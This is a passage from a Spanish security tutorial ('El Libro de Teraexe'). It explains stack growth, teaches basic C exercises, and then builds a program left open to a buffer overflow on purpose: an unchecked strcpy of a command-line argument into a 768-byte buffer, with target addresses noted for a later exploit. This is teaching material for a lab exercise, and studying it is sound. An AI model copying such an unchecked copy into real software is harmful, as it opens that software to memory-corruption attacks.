La pila se encuentra boca arriba y crece de abajo para arriba
Segundo Diagrama
La pila se encuentra boca abajo y crece de arriba para abajo
El Libro de Teraexe Alvaro J. Gene
115
Crecimiento de la Pila de forma detallada:
Anteriormente, se mostró de forma muy simple como la pila va creciendo y cuáles son sus partes básicas (parte superior
e inferior de la pila, los registros EBP y ESP, y otros datos básicos); en esta sección, se va a explicar cómo la pila va
creciendo de una forma más compleja y detallada.
Direcciones de Memoria Altas y Bajas: En la pila, las direcciones de memoria van a aumentar/bajar por 4. Cuando se
quiere identificar si las direcciones de memoria altas se encuentran arriba o abajo, simplemente se tiene que observar la
pila. Por ejemplo, un desensamblador o depurador como OllyDbg nos puede mostrar las direcciones de memoria de la
siguiente forma:
0x0012008C (direcciones de memoria altas)
0x00120088
0x00120084
0x00120080 (direcciones de memoria bajas)
En el ejemplo anterior, podemos observar como las direcciones de memoria altas se encuentran arriba y las direcciones
de memoria bajas se encuentran abajo. En esos casos, usualmente, la pila se encuentra creciendo para abajo. A
continuación se muestra otro ejemplo:
0x00120080 (direcciones de memoria bajas)
0x00120084
0x00120088
0x0012008C (direcciones de memoria altas)
En el ejemplo anterior, podemos observar como las direcciones de memoria altas se encuentran abajo y las direcciones
de memoria bajas se encuentran arriba. En esos casos, usualmente, la pila se encuentra creciendo para arriba.
El Libro de Teraexe Alvaro J. Gene
116
A continuación se muestran unos diagramas de la pila de una forma mucho más detallada a como se había mostrado
anteriormente:
Primer Diagrama
Aplicación de Computadora
int AGene_Pila (int A, int B) {
int C = A + B;
return C;
}
int main() {
return AGene_Pila(1, 2);
}
El Libro de Teraexe Alvaro J. Gene
117
Segundo Diagrama
Dirección de memoria: 0x00120088, Valor: 1.
Dirección de memoria: 0x00120084, Valor: 2.
Dirección de memoria: 0x00120080, Valor: 3 (el valor después de sumar los dos dígitos anteriores).
El Libro de Teraexe Alvaro J. Gene
118
Parte 4 – Conocimientos Básicos sobre Programación en C
En la siguiente sección (parte número 5 de este capítulo), se va a utilizar el lenguaje de programación C para desarrollar
un programa vulnerable a los desbordamientos de memoria, además, se utilizará C para desarrollar un buffer overflow
exploit. Por lo tanto, antes de pasar a la siguiente sección en donde se tiene que utilizar varios códigos de programación,
en esta sección se va a brindar una base sobre el lenguaje de programación C; en otras palabras, en esta sección, se darán
varios ejercicios de programación para así aprender lo básico de C.
Primer Programa en C - Teoría:
a) La Directiva include: Include es una palabra en el idioma inglés, la cual se puede traducir al idioma español como
incluir. En el lenguaje de programación C, una persona puede utilizar la directiva include cuando él/ella quiere
añadir un fichero de cabecera. ¿Qué es un fichero de cabecera? En palabras simples y sin mucho tecnicismo, un
archivo de cabecera es aquel que se encuentra compuesto de códigos de programación, como por ejemplo
funciones, clases, subrutinas, y otros códigos. Cuando un programador incluye un archivo de cabecera en su código
fuente, él/ella puede utilizar aquellas funciones que le brinda el archivo de cabecera. Por ejemplo, un programador
podría incluir un archivo de cabecera para poder utilizar funciones de redes y trabajar con IPs, puertos, sockets, y
otras funciones de redes. Otro ejemplo, si un programador quiere crear un programa relacionado con las páginas
web, él/ella podría buscar un archivo de cabecera e incluirlo en su código fuente para así poder utilizar aquellas
funciones que están relacionadas con las páginas web.
b) El Archivo de Cabecera stdio: El archivo de cabecera stdio es aquel que contiene las funciones estándar del lenguaje
de programación C, las cuales son utilizadas para realizar operaciones de entrada y salida (la función fopen para
abrir un archivo, la función fclose para cerrar un archivo, la función remove para eliminar un archivo… etc.).
Gracias a stdio, un programador puede utilizar funciones como la de printf, la cual se encarga de mostrar
información en la línea de comandos. A continuación se muestra un ejemplo de cómo utilizar la directiva include
junto al archivo de cabecera stdio: #include <stdio.h>.
El Libro de Teraexe Alvaro J. Gene
119
c) La Función main: En el idioma inglés, a esta función se le llama the main function, la cual puede ser traducida al
idioma español como la función principal. No es importante que un programador tenga conocimientos profundos
sobre la función main, solamente que esta función tiene que ser colocada dentro de un código fuente desarrollado en
C, además, la mayoría de los códigos de programación van a ser escritos dentro de esta función principal. A
continuación se muestra un ejemplo de cómo incluir la función principal: int main() {}. Como se puede notar en la
línea de código anterior, la función principal usa llaves ( {} ); usualmente, en el lenguaje de programación C, las
funciones van a utilizar llaves, y dentro de las llaves se utilizan los códigos de programación que contendrá cada
función. Además de las llaves, también podemos notar que las funciones usan unos paréntesis, los cuales pueden ser
utilizados para añadir los argumentos de una función. En otra sección, daremos más detalles sobre los argumentos
de una función.
d) La Función printf: Un programador puede utilizar la función printf cuando él/ella quiere mostrar información
textual dentro de la línea de comandos o un programa de computadora. En este caso, una persona puede escribir una
línea de código similar a la siguiente: printf("Texto");. Como se puede notar en la línea de código anterior, el texto
que se mostrará en pantalla se coloca dentro de las comillas, además, al final de la función printf, se coloca un punto
y coma (;). Más adelante, veremos como declarar variables y utilizar la función printf para mostrar el valor de esas
variables.
e) Tipos de Datos y Variables: En el lenguaje de programación C, los informáticos pueden desarrollar aplicaciones
para almacenar y extraer datos. Por ejemplo, un informático podría desarrollar una aplicación para almacenar el
costo de un producto dentro de la memoria RAM de una computadora y luego usar ese valor o imprimirlo dentro de
la línea de comandos. Para almacenar datos dentro de la memoria RAM de una computadora y extraerlos, el
informático tiene que declarar una variable y usar un tipo de dato siguiendo la siguiente sintaxis:
Tipo_de_Datos Nombre_de_Variable = Valor;
El Libro de Teraexe Alvaro J. Gene
120
Un punto importante que un informático debe tener en cuenta es que el tipo de dato que usará dependerá del valor
que se va a almacenar dentro de la memoria RAM. Por ejemplo, si un informático quiere almacenar un número
entero, él/ella puede usar el tipo de dato int y escribir una línea de código similar a la siguiente: int AGene_Variable
= 86;. Otro ejemplo, si un informático quiere almacenar un carácter o letra, él/ella puede usar el tipo de dato char y
escribir una línea de código similar a la siguiente: char AGene_Variable = 'A';. Después de almacenar los valores
dentro de la memoria RAM de una computadora, se puede utilizar la función printf para imprimir o mostrar los
valores dentro de la línea de comandos; en esos casos, la función printf se tiene que utilizar de la siguiente forma:
printf("%especificador_de_Conversión", Nombre_de_Variable);
Un dato importante que un programador debe tener en cuenta es que el especificador de conversión va a estar
relacionado con la forma en que los datos se van a mostrar en un programa de computadora. Por ejemplo, si un
informático almacenó un número entero en la memoria RAM y quiere mostrar el valor en la línea de comandos,
él/ella puede utilizar la función printf junto al especificador de conversión %i de la siguiente forma:
printf("%i", AGene_Variable);
Otro ejemplo, si un informático almacenó un carácter o letra dentro de la memoria RAM de una computadora,
él/ella puede utilizar el especificador de conversión %c de la siguiente forma:
printf("%c", AGene_Variable);
f) Array: En palabras simples, un array es una variable especial que permite almacenar y extraer un grupo de valores,
los cuales son conocidos como los elementos de un array. Para declarar un array, un informático tiene que utilizar la
siguiente sintaxis:
int Nombre_de_Array {Primer_Elemento, Segundo_Elemento, Tercer_Elemento…};
Después de declarar un array, un informático puede utilizar la función printf para mostrar sus valores o elementos si
él/ella sigue la siguiente sintaxis:
printf("%Especificador_de_Conversión", Nombre_de_Array[Número_de_Elemento]);
El Libro de Teraexe Alvaro J. Gene
121
A continuación se muestra un ejemplo de cómo se utilizaría la sintaxis anterior para mostrar el primer valor de un
array:
printf("%i", AGene_Array[0]);
Un dato importante que un programador debe saber sobre los arrays es que los arrays son base-cero, eso significa
que se tiene que utilizar el valor de 0 para imprimir el primer elemento, el valor de 1 para imprimir el segundo
elemento, el valor de 2 para imprimir el tercer elemento, y así sucesivamente.
g) La Sentencia return: En una función, la sentencia return puede ser utilizada para devolver un valor o resultado; por
ejemplo, después de sumar dos números, la sentencia return podría devolver la suma de los dos números (en el
segundo código fuente se mostrará un ejemplo). Después de la palabra return, si se utiliza el valor de cero, esta
sentencia podría terminar la función o el programa; por ejemplo, si la sentencia return con el valor de cero se utiliza
al final de la función principal (main function), esta sentencia se encargará de cerrar la aplicación adecuadamente.
Otro ejemplo, si un programador coloca “return 0” en la mitad de una función principal, la función principal
ejecutaría todos los códigos que existen antes de llegar a return 0, pero no ejecutaría los códigos que existen
después de return 0 debido a que return 0 terminaría el programa.
Primer Programa en C - Práctica:
Después de descargar e instalar Visual Studio 6.0 en Windows XP SP2, se ejecuta Visual Studio y se siguen los
siguientes pasos:
1) Click en File > New > Files > C++ Source File.
2) En File Name colocas: AGene_Practice_A.
3) En Location seleccionas el directorio en donde quieres guardar el proyecto y su futuro ejecutable.
4) Dentro del Visual Studio, se coloca el código fuente que se encuentra en la siguiente página:
El Libro de Teraexe Alvaro J. Gene
122
Código Fuente:
/*Se usa el archivo de cabecera stdio para así poder usar
las funciones básicas de C:*/
#include <stdio.h> //Usando la función main:
int main() { //Mostrando un mensaje: printf("El Libro de Teraexe.\n\n"); //Declarando variables: int AG_Variable_Int = 23; char AG_Variable_Char = 'A'; //Mostrando el valor de las variables: printf("Variable int: %i.\n", AG_Variable_Int); printf("Variable char: %c.\n\n", AG_Variable_Char); //Declarando un array: int AGene_Array[] = {5, 20, 86}; //Usando la función printf para mostrar un mensaje: printf("Mostrando los elementos de un Array:\n"); //Mostrando el primer elemento de un array: printf("Primer elemento: %i.\n", AGene_Array[0]); //Mostrando el segundo elemento de un array: printf("Segundo elemento: %i.\n", AGene_Array[1]); //Mostrando el tercer elemento de un array: printf("Tercer elemento: %i.\n", AGene_Array[2]); //Se usa return 0 para cerrar el programa: return 0; //Cerrando la función main:
}
El Libro de Teraexe Alvaro J. Gene
123
5) Teclea Control+F7 para compilar el código fuente.
6) Teclea F7 para desarrollar el proyecto.
7) Finalmente, ve al directorio en donde guardaste el proyecto, busca el archivo de nombre AGene_Practice_A.exe (en
el directorio Debug), y colócalo en el disco C de forma que quede así: C:\AGene_Practice_A.exe.
En la línea de comandos se teclea lo siguiente: AGene_Practice_A. Después de realizar los pasos anteriores,
obtendremos un resultado similar al siguiente:
Nota sobre los próximos ejercicios: En los próximos ejercicios, no se mostrarán los pasos para compilar y crear un
ejecutable debido a que un programador puede adquirir los conocimientos necesarios para compilar y crear un
ejecutable al completar el ejercicio que se mostró anteriormente. En los próximos ejercicios, solamente se mostrará la
teoría, el código fuente, y el resultado final del programa. En esos ejercicios, el programador ya sabrá el procedimiento
para compilar el código fuente, crear el ejecutable, y finalmente ejecutar la aplicación desde la línea de comandos.
El Libro de Teraexe Alvaro J. Gene
124
Segundo Programa en C – Teoría:
Creando Strings
En el campo de la informática, se le conoce como string a una cadena de caracteres; en palabras simples, en el mundo de
la programación, se le llama string a un array que está compuesto por un grupo de letras, como por ejemplo la siguiente:
Ejemplo de un string. Cuando un informático quiere utilizar el método tradicional para crear un string, él/ella puede
seguir la siguiente sintaxis:
char Nombre_del_String[tamaño] = {'A', 'B', 'C','\0'};
a) Nombre_del_String: En esta sección, una persona puede colocar el nombre de la variable; en otras palabras, en este
campo, un informático puede colocar el nombre de su string.
b) [tamaño]: En este campo, un programador tiene que colocar el tamaño de su array o string; por ejemplo, si el string
tiene cuatro caracteres, él/ella tiene que colocar el número 4. Por ejemplo, en el código fuente que se encuentra más
adelante, se crea el siguiente string: char AGene_String_A[4] = {'A', 'B', 'C','\0'};. En la línea de código anterior, se
coloco el número 4 porque tenemos los siguientes caracteres: A, B, C, y 0. Un dato importante que un programador
debe saber sobre un string es que en el campo final siempre se debe colocar una barra inversa seguido del número
cero (\0).
Además del método tradicional, existe un método para declarar un string de una forma más simple. A continuación se
muestra el método simple que un informático puede utilizar para crear un string:
char Nombre_del_String[] = "Cadena de Caracteres";
a) Nombre_del_String: Al igual que en el caso anterior, en esta sección, una persona puede colocar el nombre de la
variable string.
b) Cadena de Caracteres: En esta sección, un informático puede colocar el grupo de letras que la variable string
guardará dentro de la memoria RAM de una computadora. En este caso, automáticamente se guardará un “\0” al
final de la cadena, sin embargo, el “\0” no será visible al ojo humano debido a que no se muestra en pantalla.
El Libro de Teraexe Alvaro J. Gene
125
Funciones de Strings
Después de declarar un grupo de strings, un informático puede utilizar el archivo de cabecera string.h y sus respectivas
funciones para así manipular sus strings. En esta sección, estudiaremos dos tipos de funciones que nos brinda el archivo
de cabecera string.h, las cuales son conocidas como strcpy y strcat.
a) La función strcpy: Después de crear dos variables strings, un informático puede utilizar la función strcpy para
copiar la cadena de caracteres que contiene una variable string y colocarla dentro de otra variable string. En este
caso, a una variable string se le elimina todo el contenido que tenga dentro y se le añade todo el contenido de la otra
variable string. Para utilizar la función strcpy, un programador debe utilizar la siguiente sintaxis:
strcpy (Variable_String_A, Variable_String_B);
En la línea de código anterior, la cadena de caracteres de Variable_String_B es copiada a Variable_String_A; en
otras palabras, en la función strcpy, la cadena de caracteres de la variable string que se encuentra en el segundo
parámetro es copiada a la cadena de caracteres de la variable string que se encuentra en el primer parámetro.
b) La función strcat: Después de crear dos variables strings, un programador puede utilizar la función strcat para
añadirle la cadena de caracteres de un string variable a la cadena de caracteres de otro string variable. A diferencia
de la función strcpy, los datos de un string variable no son eliminados, en este caso, los datos de un string variable se
mantienen mientras que se le añaden los datos de un segundo string variable. Para utilizar la función strcat, un
informático puede utilizar la siguiente sintaxis:
strcat (Variable_String_A, Variable_String_B);
En la función strcat, el string variable que se encuentra en el primer campo va a recibir los datos del string variable
que se encuentra en el segundo campo. En otras palabras, en la línea de código anterior, la cadena de caracteres que
se encuentra en Variable_String_B sería añadida a la cadena de caracteres que se encuentra en Variable_String_A.
Para entender con claridad el funcionamiento de las funciones strcpy y strcat, lo ideal es ver un ejemplo; por lo tanto, en
el siguiente código fuente, veremos un ejemplo de cómo declarar un grupo de strings y utilizar las funciones strcpy y
strcat para alterar los valores de las variables strings.
El Libro de Teraexe Alvaro J. Gene
126
Segundo Programa en C – Práctica:
Código Fuente:
#include <stdio.h> //Añadiendo string.h para usar las funciones strcpy y strcat: #include <string.h> int main() { //Primer String: char AGene_String_A[4] = {'A', 'B', 'C','\0'}; printf("Valor del Primer String: %s\n", AGene_String_A); //Segundo String: char AGene_String_B[] = "Socket_0x03"; printf("Valor del Segundo String: %s\n", AGene_String_B); /*Usando strcpy para copiar los valores del string del segundo parámetro a los valores del string del primer parámetro:*/ strcpy(AGene_String_B, AGene_String_A); printf("Valor de AGene_String_B despues de ctrcpy: %s\n", AGene_String_B); //Tercer String: char AGene_String_C[] = "DEF"; printf("Valor del Tercer String: %s\n", AGene_String_C); /*Usando strcat para añadir los valores de AGene_String_C a AGene_String_B:*/ strcat(AGene_String_B, AGene_String_C); printf("Valor de AGene_String_B despues de strcat: %s\n", AGene_String_B); return 0; }
Resultado:
El Libro de Teraexe Alvaro J. Gene
127
Tercer Programa en C – Teoría:
La Condición If
La sentencia if puede ser utilizada para evaluar una condición y ejecutar un bloque de código si una condición es
positiva. A continuación se muestra la sintaxis de la sentencia if:
if (condición) { //Bloque de Códigos. }
Tercer Programa en C – Práctica:
Código Fuente:
#include <stdio.h> int main() { //Declarando variables: int AG_A = 86; int AG_B = 20; //Mostrando el valor de las variables: printf("La variable AG_A tiene un valor de: %i.\n", AG_A); printf("La variable AG_B tiene un valor de: %i.\n", AG_B); //Usando la sentencia if: if (AG_A > AG_B) { printf("AG_A tiene un valor superior a AG_B.\n"); } return 0; }
Resultado:
El Libro de Teraexe Alvaro J. Gene
128
Cuarto Programa en C – Teoría:
La Condición If-else
La sentencia if-else puede ser utilizada para evaluar una condición y ejecutar un grupo de códigos dependiendo de la
condición. Después de evaluar una condición, el bloque de códigos de la sentencia if se ejecutará si la condición es
positiva; de lo contrario, el bloque de códigos de la sentencia else se ejecutará si la condición es negativa. A
continuación se muestra la sintaxis de la sentencia if-else:
if (condición) { //Primer Bloque de Códigos. } else { //Segundo Bloque de Códigos. }
Condición: En este campo, el programador va a añadir el nombre de las variables que contienen aquel valor que se va a
evaluar. Por ejemplo, en el siguiente código fuente, se declaran las variables AG_A y AG_B con los valores de 20;
luego, se añade la siguiente condición: AG_A != AG_B (Nótese que usamos el simbolo “!=” que es lo opuesto al
simbolo igual (=) y significa “no es igual a…”). Como se puede observar en la condición anterior, tenemos una
condición negativa porque los valores de las variables AG_A y AG_B son iguales y la condición usa el símbolo “!=”.
Por otro lado, si por ejemplo usáramos el símbolo igual (=) para evaluar AG_A y AG_B, entonces si obtendríamos una
condición positiva porque las variables AG_A y AG_B tienen valores iguales.
a) Primer Bloque de Códigos: Si la condición de la sentencia if-else es positiva, este bloque de códigos se ejecuta.
b) Segundo Bloque de Códigos: Si la condición de la sentencia if-else es negativa, solamente se ejecuta el segundo
bloque de código. Por ejemplo, en el código fuente que se muestra más adelante, solamente se ejecuta el segundo
bloque de código porque las variables AG_A y AG_B tienen valores iguales.
El Libro de Teraexe Alvaro J. Gene
129
Cuarto Programa en C – Práctica:
Código Fuente:
#include <stdio.h> int main() { //Declarando variables: int AG_A = 20; int AG_B = 20; //Mostrando el valor de las variables: printf("La variable AG_A tiene un valor de: %i.\n", AG_A); printf("La variable AG_B tiene un valor de: %i.\n", AG_B); //Usando la sentencia if-else: if (AG_A != AG_B) { printf("El valor de AG_A es diferente al de AG_B.\n"); } else { printf("El valor de AG_A es igual al valor de AG_B\n"); } return 0;
}
Resultado:
El Libro de Teraexe Alvaro J. Gene
130
Quinto Programa en C – Teoría:
La Función WinExec
Cuando un informático quiere desarrollar una aplicación que abrirá en su línea de comandos un archivo ejecutable,
él/ella puede incluir el archivo de cabecera windows.h y usar su función WinExec. Para utilizar la función WinExec,
una persona debe seguir la siguiente sintaxis:
WinExec(Directorio_del_Ejecutable, Opción_de_Mostrar);
a) Directorio_del_Ejecutable: En el primer campo, un informático debe colocar el directorio del ejecutable que él/ella
quiere abrir. Un dato importante que un programador debe saber es que él/ella debe incluir dos barras invertidas (\\)
en lugar de una barra invertida (\) al incluir el directorio del ejecutable que desea abrir. Por ejemplo, si el ejecutable
se encuentra en C:\Carpeta\Ejecutable.exe, el programador debe colocar C:\\Carpeta\\Ejecutable.exe.
b) Opción_de_Mostrar: En el segundo campo, un informático debe colocar la forma en que se mostrará la ventana de
la línea de comandos al abrir un ejecutable. Aunque existen muchas formas de manipular la ventana del ejecutable,
en este capítulo solamente veremos una forma simple, la cual consiste en incluir el número 0 (abre el ejecutable en
la línea de comandos de forma simple sin minimizarlo/maximizarlo, tal cual como se muestra al final del ejercicio).
El Libro de Teraexe Alvaro J. Gene
131
Quinto Programa en C – Práctica:
En el siguiente código fuente, se usará la función WinExec para ejecutar el segundo programa en C que se encuentra en
la página 126. El programa de la página 126 fue guardado con el nombre de AGene_String.exe y se colocó en el
siguiente directorio: C:\AGene_String.exe.
Código Fuente:
#include <stdio.h> //Añadiendo windows.h para usar la función WinExec:
#include <windows.h> int main() { //Usando la función WinExec para ejecutar una aplicación:
WinExec("C:\\AGene_String.exe", 0); return 0; }
Resultado:
El Libro de Teraexe Alvaro J. Gene
132
Sexto Programa en C – Teoría:
Función
En el campo de la programación, una función es aquella que puede recibir datos, procesar los datos, y dar un resultado
final. Para entender con claridad cómo funciona una función, vamos a ver el siguiente diagrama:
En el diagrama anterior, podemos observar que una función es como una máquina que cuenta con tres partes
principales: (a) Lugar donde se añaden los datos. (b) Lugar donde se procesan los datos. (c) Lugar donde se devuelve un
resultado final.
¿Por qué los programadores crean funciones? En el desarrollo de software, los informáticos crean funciones para no
tener que repetir los mismos códigos una y otra vez. Por ejemplo, supongamos que un informático tiene que desarrollar
un programa de computadora y dentro de ese mismo programa él/ella tiene que realizar cinco veces la misma operación
de aritmética; en ese caso, en lugar de repetir los mismos códigos de programación unas cinco veces, el informático
puede crear una función (colocando los códigos de programación una sola vez en lugar de cinco veces) y llamar la
función cada vez que él/ella quiera realizar X operación de aritmética.
El Libro de Teraexe Alvaro J. Gene
133
Crear una Función
En el lenguaje de programación C, cuando un informático quiere crear una función, él/ella tiene que declarar la función
y luego definirla. A continuación se muestran las instrucciones que un informático debe seguir para declarar y definir
una función:
Declarar Función:
Sintaxis:
Tipo_de_Dato Nombre_de_Función(Primer Parámetro, Segundo Parámetro, Tercer Parámetro…);
Ejemplo:
int AG_Teraexe(int AGene_A, int AGene_B);
Definir Función:
Sintaxis:
Tipo_de_Dato Nombre_de_Función(Primer Parámetro, Segundo Parámetro, Tercer Parámetro…) {
//Códigos de Programación.
}
Ejemplo:
int AG_Teraexe(int AGene_A, int AGene_B) { //Devuelve la suma de dos valores: return AGene_A + AGene_B; }
Llamar una Función
Después de declarar una función y definirla, cada vez que el informático quiera utilizar su función, él/ella puede
llamarla siguiendo la siguiente sintaxis:
Nombre_de_Función(Primer Argumento, Segundo Argumento, Tercer Argumento…);
Si queremos llamar una función y almacenar el resultado final dentro de una variable, podemos hacerlo de la siguiente
forma:
Nombre_de_Variable = Nombre_de_Función(Primer Argumento, Segundo Argumento, Tercer Argumento …);
El Libro de Teraexe Alvaro J. Gene
134
Como se puede notar en los pasos anteriores, cuando se trata de crear o declarar una función, le llamamos parámetros a
los valores; por otro lado, cuando se trata de usar o llamar una función, le llamamos argumentos a los valores.
Sexto Programa en C – Práctica:
Código Fuente:
/*Se usa el archivo de cabecera stdio para así poder usar
las funciones básicas de C:*/
#include <stdio.h> //Declarando la función Teraexe:
int AG_Teraexe(int AGene_A, int AGene_B); //Usando la función main:
int main () { //Declarando tres variables: int AG_A = 5; int AG_B = 5; int AG_C; //Usando o llamando la función:
AG_C = AG_Teraexe(AG_A, AG_B); //Mostrando el valor de AG_C: printf("Valor de AG_C: %i \n", AG_C); //Terminando el programa: return 0; } //Creando o definiendo la función:
int AG_Teraexe(int AGene_A, int AGene_B) { //Devuelve la suma de dos valores: return AGene_A + AGene_B; }
El Libro de Teraexe Alvaro J. Gene
135
Resultado:
El Libro de Teraexe Alvaro J. Gene
136
Séptimo Programa en C – Teoría:
Introducción al Loop
Cuando un informático se encuentra desarrollando una aplicación, él/ella puede repetir un bloque de código repetidas
veces (hasta que se cumpla una condición) mediante una técnica que se le conoce como loop, la cual puede ser traducida
al idioma español como bucle o ciclo. ¿Qué es un bucle? En programación, se le llama bucle o ciclo a aquel bloque de
código que se va a ejecutar repetidas veces hasta que se cumpla una condición; por ejemplo, si declaramos una variable
con el valor de 5 y desarrollamos una función que añada el valor de 1 al valor de la variable (5), un bucle podría
ejecutarse repetidas veces hasta que el valor de la variable (5) sea X número, como por ejemplo 10. En esta sección,
aprenderemos a utilizar un tipo de loop que es llamado for-loop.
La Sentencia For-Loop
Así como la mayoría de los bucles en el lenguaje de programación C, la sentencia for-loop puede ser utilizada para
repetir un bloque de código repetidas veces hasta que se cumpla una condición, bien sea una condición positiva o
negativa; en este caso, para utilizar un for-loop, un programador debe seguir la siguiente sintaxis:
For (Primera_Expresión; Segunda_Expresión; Tercera_Expresión) { //Códigos de programación. }
a) Primera Expresión: En el primer parámetro, un informático puede colocar el valor de inicio; en otras palabras, en el
primer campo, una persona puede colocar el nombre de aquella variable que contiene el valor que será usado o
evaluado por la sentencia for-loop como valor inicial del bucle. Por ejemplo, supongamos que un informático
quiere desarrollar una aplicación que va aumentando el valor del número 1 hasta llegar al 10 (al valor de uno se le
sumará el número uno cada vez que el for-loop inicia su bucle); en este ejemplo, el valor inicial que el informático
colocaría en el primer parámetro de la sentencia for-loop sería el valor de uno.
b) Segunda Expresión: En la sentencia for-loop, la segunda expresión es conocida como la expresión de la condición
debido a que un for-loop usa el segundo campo para evaluar una condición. En este caso, si una condición es
positiva, la sentencia for-loop ejecuta sus códigos de programación; por otro lado, si una condición es negativa, la
El Libro de Teraexe Alvaro J. Gene
137
sentencia for-loop finaliza y no ejecuta sus códigos de programación. Por ejemplo, en el código fuente que se
muestra más adelante, se usa la sentencia for-loop para aumentar el valor de la variable AG_Loop (al principio,
AG_Loop tiene el valor de cero, luego, a AG_Loop se le suma el valor de 1 cada vez que el for-loop ejecuta sus
códigos de programación); en este ejemplo, en el segundo parámetro de la sentencia for-loop, se especifica la
siguiente instrucción: AG_Loop <= 3. Como se puede observar en la expresión o condición anterior, la sentencia
for-loop ejecuta su bloque de código siempre y cuando AG_Loop no sea menor o igual al número 3.
c) Tercera Expresión: Si la condición en la segunda expresión es positiva, el tercer campo puede ser utilizado para
alterar el valor de la variable, usualmente para incrementarlo o disminuirlo. Por ejemplo, en el tercer campo, un
informático podría utilizar el operador de incremento (++) seguido del nombre de una variable para así incrementar
su valor cada vez que la sentencia for-loop inicie su bucle. En el ejemplo que se muestra más adelante, se utiliza el
operador de incremento (++) para ir aumentando el valor de la variable AG_Loop; en ese ejemplo, al principio
AG_Loop tiene un valor de cero y se le va sumando el valor de uno cada vez que la sentencia for-loop ejecuta sus
códigos de programación.
El Libro de Teraexe Alvaro J. Gene
138
Séptimo Programa en C – Práctica:
Código Fuente:
/*Se usa el archivo de cabecera stdio para así poder usar las funciones básicas de C:*/ #include <stdio.h> //Usando la función main: int main() { printf("Primer Loop para incrementar el valor de AG_Loop:\n"); //Declarando una variable con el valor de cero: int AG_Loop = 0; //Usando for-loop para incrementar el valor de AG_Loop: for (AG_Loop; AG_Loop <= 3; AG_Loop++) { //Usando printf para mostrar los datos: printf("El valor de AG_Loop es: %i \n", AG_Loop); } printf("Segundo Loop para mostrar los elementos de un array:\n"); //Declarando un array con tres elementos: int AGene_Array[] = {5, 20, 86}; //Declarando una variable para el for-loop statement: int AGene_Loop; //Usando for-loop para mostrar todos los elementos de un array: for (AGene_Loop = 0; AGene_Loop < 3; AGene_Loop++) { //Usando printf para mostrar los datos: printf(“%i \n”, AGene_Array[AGene_Loop]); } //Se usa return 0 para cerrar el programa: return 0;
}
El Libro de Teraexe Alvaro J. Gene
139
Resultado:
En la línea de comandos se teclea lo siguiente: AGene_Loop. Luego, obtendremos un resultado similar al siguiente:
El Libro de Teraexe Alvaro J. Gene
140
Octavo Programa en C – Teoría:
Los Argumentos de la Función main
Anteriormente, aprendimos a utilizar la función main sin ningún tipo de argumentos; en este caso, aprenderemos a
utilizar la función main incluyendo dos argumentos. En el código fuente que se muestra más adelante, se usa la función
main junto a dos argumentos de la siguiente forma: int main(int argc, char *argv[]) {}. A continuación se muestra el
propósito de estos dos argumentos:
a) Argumento argc: El primer argumento va a contener el número de argumentos que serán enviados a la línea de
comandos, de los cuales se incluyen el nombre del programa. Por ejemplo, argc va a contener 4 argumentos si un
informático ejecuta la aplicación desde la línea de comandos de la siguiente forma: Aplicación 1 2 3.
b) Argumento argv: El segundo argumento es un array, el cual contiene el número de argumentos comenzando desde
el index 1 debido a que el nombre del programa va a ser el index que contendrá el valor de 0. Para entender con
claridad el funcionamiento del segundo parámetro de la función principal, lo ideal es ver un ejemplo; por lo tanto,
en la siguiente página se encuentra el código fuente de ejemplo y el resultado final del programa.
El Libro de Teraexe Alvaro J. Gene
141
Octavo Programa en C – Práctica:
Código Fuente:
/*Se usa el archivo de cabecera stdio para así poder usar
las funciones básicas de C:*/
#include <stdio.h> //Usando la función main con los parámetros argc y argv:
int main (int argc, char *argv[]) { //Mostrando el número de argumentos enviados al programa:
printf("Total de Argumentos: %d\n", argc); //Declarando una variable que será usada con un for-loop statement:
int AGene_FL; /*Se usará un for-loop statement para mostrar los argumentos que
se le enviaron a la función main; en otras palabras, el for-loop
statement mostrará todos los elementos del array:*/
for (AGene_FL = 0; AGene_FL < argc; AGene_FL++) { //Usando printf para mostrar datos: printf(" argv[%d] = %s \n", AGene_FL, argv[AGene_FL]); //Cerramos el for-loop statement: } /*Se usará return 0 para terminar la función main;
en otras palabras, se usará return 0 para terminar el programa.*/
return 0; //Cerramos la función main:
}
El Libro de Teraexe Alvaro J. Gene
142
Resultado:
En la línea de comandos se teclea lo siguiente: AGene_Practice 1 2 3. Luego, se obtendrá el siguiente resultado:
El Libro de Teraexe Alvaro J. Gene
143
Parte 5 – Usar C para programar una Aplicación Vulnerable y su Exploit
Para comprender con más claridad el funcionamiento de los desbordamientos de memoria, voy a brindar una pequeña
introducción sobre los buffer overflows enfocada a la parte de la programación. Como los desbordamientos de memoria
son un tipo de vulnerabilidad que se encuentran en los lenguajes C y C++, la auditoría se va a realizar en el lenguaje de
programación C. A continuación se muestran las tecnologías o herramientas que se pueden utilizar para realizar la
auditoría:
• Sistema Operativo: Microsoft Windows XP Profesional Service Pack 2 (Versión 5.1.2600)
• Depurador: OllyDbg v1.10
• Lenguaje de Programación: C
• Integrated Development Environment: Visual Studio v6.0
Después de descargar e instalar Visual Studio 6.0 en Windows XP SP2, vamos a seguir los pasos para crear una
aplicación vulnerable a los desbordamientos de memoria:
8) Click en File > New > Files > C++ Source File.
9) En File Name colocas: AGene_Vuln.
10) En Location seleccionas el directorio en donde quieres guardar el proyecto y su futuro ejecutable.
11) Coloca el código fuente que aparece en la siguiente página (el que dice Código Vulnerable).
12) Teclea Control+F7 para compilar el código fuente.
13) Teclea F7 para desarrollar el proyecto.
14) Finalmente, ve al directorio en donde guardaste el proyecto, busca el archivo de nombre AGene_Vuln.exe (en el
directorio Debug), y colócalo en el disco C de forma que quede así: C:\AGene_Vuln.exe.
El Libro de Teraexe Alvaro J. Gene
144
Código Vulnerable:
#include <stdio.h> //El archivo de cabecera string.h para usar la función strcpy:
#include <string.h> //Declarando una función:
int AGene_Function(); /*La Función Main:
En el segundo parámetro se encuentra un string variable, el cual
contendrá el número de caracteres enviados a la línea de comandos.*/
int main(int argc, char *argv[]) { //Creando un string variable (de tamaño 768) para almacenar caracteres: char AGene_String[768]; //La función strcpy para copiar el string de argv a la variable AGene_String:
strcpy(AGene_String, argv[1]); //Usando la función printf para crear la vulnerabilidad de buffer overflow:
printf("%s", AGene_String); //Terminar la función main:
return 0; }; //Definiendo una función:
int AGene_Function() { printf("\n\nPrimer mensaje.\n"); // Posición de Memoria: 004010B8 = \xB8\x10\x40\x00
printf("\nSegundo mensaje.\n"); // Posición de Memoria: 004010C5 = \xC5\x10\x40\x00
printf("\nTercer mensaje.\n"); // Posición de Memoria: 004010D2 = \xD2\x10\x40\x00
return 0; }
El Libro de Teraexe Alvaro J. Gene
145
1) Ejecuta el programa de nombre OllyDbg.
